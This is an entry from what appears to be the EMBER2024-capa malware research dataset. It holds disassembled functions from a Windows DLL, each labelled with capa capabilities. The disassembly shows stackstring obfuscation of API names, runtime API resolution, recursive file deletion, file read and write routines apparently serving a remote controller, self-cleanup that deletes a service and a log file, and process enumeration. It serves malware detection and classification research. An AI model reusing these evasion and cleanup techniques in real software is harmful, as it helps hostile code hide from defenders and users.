joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100043b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017118
push 0x10015688
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push str.lstrlenA
push str.KERNEL32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call ebx
mov esi, eax
mov dword [ebp - 0x2c], esi
push str.lstrcpyA
push str.KERNEL32.dll
call edi
push eax
call ebx
mov dword [ebp - 0x28], eax
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov eax, dword [ebp + 8]
push eax
call esi
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x10004590
mov ecx, dword [ebp + 8]
push ecx
push ebx
call dword [ebp - 0x28]
mov esi, ebx
mov dword [ebp - 0x1c], esi
cmp byte [ebx], 0x5c
jne 0x10004495
lea eax, [ebx + 1]
cmp byte [eax], 0x5c
jne 0x10004495
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004470
cmp al, 0x5c
je 0x10004470
push esi
call dword [0x1001c98c]
mov esi, eax
jmp 0x10004458
cmp byte [esi], 0
je 0x10004479
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000448e
cmp al, 0x5c
je 0x1000448e
push esi
call dword [0x1001c98c]
mov esi, eax
jmp 0x10004476
cmp byte [esi], 0
je 0x100044b4
jmp 0x100044b0
lea eax, [ebx + 1]
cmp byte [eax], 0x3a
jne 0x100044b4
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100044b4
cmp al, 0x5c
jne 0x100044b4
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004554
cmp al, 0x5c
jne 0x10004546
push str.GetFileAttributesA
push str.KERNEL32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov byte [esi], 0
push ebx
call eax
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10004533
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10004543
push str.GetLastError
push str.KERNEL32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov dword [ebp - 0x34], edi
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, 0xb7
je 0x1000453d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
jmp 0x10004587
and eax, 0x10
cmp al, 0x10
je 0x10004543
push ebx
jmp 0x10004587
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esi], 0x5c
push esi
call dword [0x1001c98c]
mov esi, eax
jmp 0x100044b1
mov dword [ebp - 4], 0xffffffff
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004b30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.FindFirstFileA
mov dword [esp + 0x50], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.FindNextFileA
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
mov cl, 0x6c
mov dword [esp + 0x40], eax
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x6f
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x31], al
mov byte [esp + 0x35], al
mov byte [esp + 0x2f], cl
mov byte [esp + 0x38], cl
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x1c]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], bl
mov byte [esp + 0x34], 0x52
mov byte [esp + 0x36], 0x6d
mov byte [esp + 0x38], 0x76
mov byte [esp + 0x3a], 0x44
mov byte [esp + 0x3b], 0x69
mov byte [esp + 0x3c], dl
mov byte [esp + 0x3e], 0x63
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x41], dl
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x43], 0x41
mov byte [esp + 0x44], bl
call esi
push eax
call edi
mov ebp, dword [esp + 0x4a0]
mov dword [esp + 0x48], eax
mov al, 0x2a
lea edx, [esp + 0x14]
mov byte [esp + 0x17], al
mov byte [esp + 0x19], al
push ebp
lea eax, [esp + 0x194]
mov byte [esp + 0x1e], bl
mov ebx, dword [0x1001c988]
push edx
push eax
mov byte [esp + 0x20], 0x25
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x24], 0x2e
call ebx
add esp, 0xc
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x194]
push edx
call dword [esp + 0x18]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x10004c7f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x48c
ret 4
cmp byte [esp + 0x7c], 0x2e
je 0x10004cef
test byte [esp + 0x50], 0x10
je 0x10004cb8
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x398]
push eax
push ebp
push str._s_s
push ecx
call ebx
mov ecx, dword [esp + 0x5c]
add esp, 0x10
lea edx, [esp + 0x398]
push edx
call fcn.10004b30
jmp 0x10004cef
push str.DeleteFileA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [esp + 0x44], eax
lea eax, [esp + 0x7c]
push eax
push ebp
lea ecx, [esp + 0x29c]
push str._s_s
push ecx
call ebx
add esp, 0x10
lea edx, [esp + 0x294]
push edx
call dword [esp + 0x48]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [esp + 0x48]
test eax, eax
jne 0x10004c7f
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebp
call dword [esp + 0x4c]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x48c
ret 4
Function at 0x10004d30
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x34
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebp, ecx
push str.lstrlenA
push str.KERNEL32.dll
mov dword [esp + 0x2c], ebp
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CloseHandle
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.GetFileSize
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.LocalAlloc
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
mov dword [esp + 0x1c], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x35], al
mov byte [esp + 0x38], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x31], al
mov byte [esp + 0x39], cl
mov byte [esp + 0x3e], cl
mov byte [esp + 0x3f], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x28]
lea ecx, [esp + 0x34]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x3c], 0x6b
mov byte [esp + 0x3e], dl
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x48], 0
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], dl
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
push eax
call edi
lea edx, [ebp + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x48]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push 0x80000000
push ebp
rep movsb byte es:[edi], byte [esi]
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004e75
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x34
ret 4
lea ecx, [esp + 0x20]
push ecx
push edi
call dword [esp + 0x1c]
push edi
mov esi, eax
call dword [esp + 0x1c]
push ebp
call dword [esp + 0x14]
mov edi, eax
add edi, 0xa
push edi
push 0x40
mov dword [esp + 0x50], edi
call dword [esp + 0x24]
mov ecx, edi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x24]
mov dword [ebx + 1], eax
mov dword [ebx + 5], esi
call dword [esp + 0x14]
mov ecx, eax
mov esi, ebp
inc ecx
lea edi, [ebx + 9]
mov edx, ecx
mov eax, dword [esp + 0x48]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x2c]
call fcn.10008be0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret 4
Function at 0x10004f00
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, ecx
push str.CloseHandle
push str.KERNEL32.dll
mov dword [esp + 0x1c], ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x1c], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x2d], al
mov byte [esp + 0x30], al
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x29], al
mov byte [esp + 0x31], cl
mov byte [esp + 0x36], cl
mov byte [esp + 0x37], cl
mov byte [esp + 0x28], cl
lea eax, [esp + 0x20]
lea ecx, [esp + 0x2c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x36], dl
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], dl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
push eax
call edi
mov ebp, dword [esp + 0x40]
cmp dword [ebp + 4], 0xffffffff
jne 0x10004fd0
mov ecx, ebx
call fcn.100050d0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret 4
push 0
push 0x80
push 3
push 0
push 1
add ebx, 0x20
push 0x80000000
push ebx
call eax
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10004ffb
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x2c
ret 4
push str.SetFilePointer
push str.KERNEL32.dll
call esi
push eax
call edi
push str.ReadFile
push str.KERNEL32.dll
mov dword [esp + 0x48], eax
call esi
push eax
call edi
push str.LocalAlloc
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
mov edx, dword [ebp + 4]
push 0
push ebp
push edx
push ebx
mov esi, eax
call dword [esp + 0x50]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call esi
mov esi, eax
lea edx, [esp + 0x10]
push 0
push edx
mov byte [esi], 0x6a
mov eax, dword [ebp]
mov dword [esi + 1], eax
mov ecx, dword [ebp + 4]
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
mov dword [esi + 5], ecx
call dword [esp + 0x2c]
push ebx
call dword [esp + 0x20]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x100050a5
mov ecx, dword [esp + 0x14]
add eax, 9
push eax
push esi
call fcn.10008be0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret 4
mov ecx, dword [esp + 0x14]
call fcn.100050d0
mov edi, dword [esp + 0x40]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret 4
Function at 0x10005690
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x21], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ecx, dword [esi + 0x1c]
mov dword [esp + 0x38], eax
mov eax, ecx
sub eax, 2
je 0x10005759
sub eax, 2
je 0x10005752
sub eax, 2
je 0x1000574b
mov edi, ecx
jmp 0x1000575e
mov edi, 5
jmp 0x1000575e
mov edi, 3
jmp 0x1000575e
mov edi, 1
push str.FindFirstFileA
push str.KERNEL32.dll
call ebx
push eax
call ebp
lea edx, [esp + 0x3c]
lea ebp, [esi + 0x20]
push edx
push ebp
call eax
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x100057d6
cmp edi, 1
jne 0x100057ac
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov edi, 3
jmp 0x100057eb
cmp edi, 3
jne 0x100057c2
xor edx, edx
mov edi, 2
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], edx
jmp 0x100057eb
cmp edi, 5
jne 0x100057e7
mov dword [esp + 0x15], 0xffffffff
mov edi, 3
jmp 0x100057eb
xor ecx, ecx
mov edi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x100057eb
mov edi, dword [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push edi
push 0
push 2
push 0x40000000
push ebp
call dword [esp + 0x54]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10005828
xor eax, eax
pop edi
mov dword [esi + 0x128], eax
mov dword [esi + 0x12c], eax
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
push str.CloseHandle
push str.KERNEL32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, esi
call fcn.10008be0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
Function at 0x10005890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x5c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
mov ebp, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
lea eax, [esp + 0x40]
lea ecx, [esp + 0x4c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x54], 0x6b
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], 0x72
mov byte [esp + 0x57], 0x6e
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], 0x6c
mov byte [esp + 0x5a], 0x33
mov byte [esp + 0x5b], 0x32
mov byte [esp + 0x5c], 0x2e
mov byte [esp + 0x5d], 0x64
mov byte [esp + 0x5e], 0x6c
mov byte [esp + 0x5f], 0x6c
mov byte [esp + 0x60], 0
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], 0x72
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], 0x61
mov byte [esp + 0x4c], 0x74
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x46
mov byte [esp + 0x4f], 0x69
mov byte [esp + 0x50], 0x6c
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x41
mov byte [esp + 0x53], 0
call esi
push eax
call edi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x34]
lea eax, [esp + 0x5c]
push edx
push eax
mov byte [esp + 0x64], 0x6b
mov byte [esp + 0x65], bl
mov byte [esp + 0x66], 0x72
mov byte [esp + 0x67], 0x6e
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0x6c
mov byte [esp + 0x6a], 0x33
mov byte [esp + 0x6b], 0x32
mov byte [esp + 0x6c], 0x2e
mov byte [esp + 0x6d], 0x64
mov byte [esp + 0x6e], 0x6c
mov byte [esp + 0x6f], 0x6c
mov byte [esp + 0x70], 0
mov byte [esp + 0x3c], 0x57
mov byte [esp + 0x3d], 0x72
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x46
mov byte [esp + 0x42], 0x69
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0
call esi
push eax
call edi
mov edi, dword [esp + 0x70]
push 0
push 0x80
push 3
mov ecx, dword [edi]
mov ebx, dword [edi + 4]
push 0
push 2
lea edx, [ebp + 0x20]
push 0x40000000
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x2c], ecx
call dword [esp + 0x30]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push ebx
push esi
call dword [esp + 0x28]
mov edx, dword [esp + 0x74]
lea ecx, [esp + 0x24]
push 0
add edx, 0xfffffff8
push ecx
add edi, 8
push edx
push edi
push esi
call dword [esp + 0x30]
push esi
call dword [esp + 0x24]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
add ecx, ebx
lea edx, [esp + 0x28]
mov dword [esp + 0x2d], ecx
push 9
push edx
mov ecx, ebp
mov byte [esp + 0x30], 0x70
mov dword [esp + 0x31], eax
call fcn.10008be0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret 8
Function at 0x10007070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.DeleteFileA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov cl, 0x6c
mov ebx, eax
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x27], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x22], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2e], cl
lea eax, [esp + 0x20]
lea ecx, [esp + 0x10]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2c], 0x79
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x30], 0x6d
mov byte [esp + 0x31], 0x44
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x35], 0x63
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], dl
mov byte [esp + 0x39], 0x79
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
push eax
call edi
lea edx, [esp + 0x34]
push 0x104
push edx
call eax
mov edi, str._syslog.dat
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x34]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x100071a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.Sleep
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebx, eax
mov al, 0x6c
mov byte [esp + 0x25], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], al
mov al, 0x73
mov cl, 0x65
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], cl
mov byte [esp + 0x24], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x78
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x50
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x63
mov byte [esp + 0x27], 0
call esi
push eax
call edi
mov dword [esp + 0x10], eax
call fcn.10007070
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [0x1001c8ac]
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x1001d38c
push edi
call dword [0x1001c8b0]
push 0x30
mov ebp, eax
call esi
add esp, 4
push ebp
call dword [0x1001c8b4]
push 0x30
call esi
add esp, 4
push ebp
mov ebp, dword [0x1001c8b8]
call ebp
push 0x30
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.1000def0
add esp, 0xc
push 0xa
call ebx
push 0
push 0
push 1
call fcn.1000def0
add esp, 0xc
push 0
call dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10007300
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x138
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.Process32First
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
push str.lstrcmpiA
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call edi
push eax
call ebx
push str.Process32Next
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], 0
call esi
add esp, 4
push 0
push 2
call ebp
push 0x30
mov ebp, eax
call esi
push 0x30
mov dword [esp + 0x28], 0x128
call esi
add esp, 8
lea eax, [esp + 0x20]
push eax
push ebp
call dword [esp + 0x20]
push 0x30
call esi
mov ecx, dword [esp + 0x150]
add esp, 4
lea edx, [esp + 0x44]
push ecx
push edx
call dword [esp + 0x18]
test eax, eax
je 0x100073e0
push 0x30
call esi
add esp, 4
lea eax, [esp + 0x20]
push eax
push ebp
call dword [esp + 0x24]
test eax, eax
je 0x100073e8
mov ecx, dword [esp + 0x14c]
lea edx, [esp + 0x44]
push ecx
push edx
call dword [esp + 0x18]
test eax, eax
jne 0x100073b6
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], eax
push 0x30
call esi
add esp, 4
push str.CloseHandle
push str.KERNEL32.dll
call edi
push eax
call ebx
push ebp
call eax
push 0x30
call esi
mov eax, dword [esp + 0x18]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x138
ret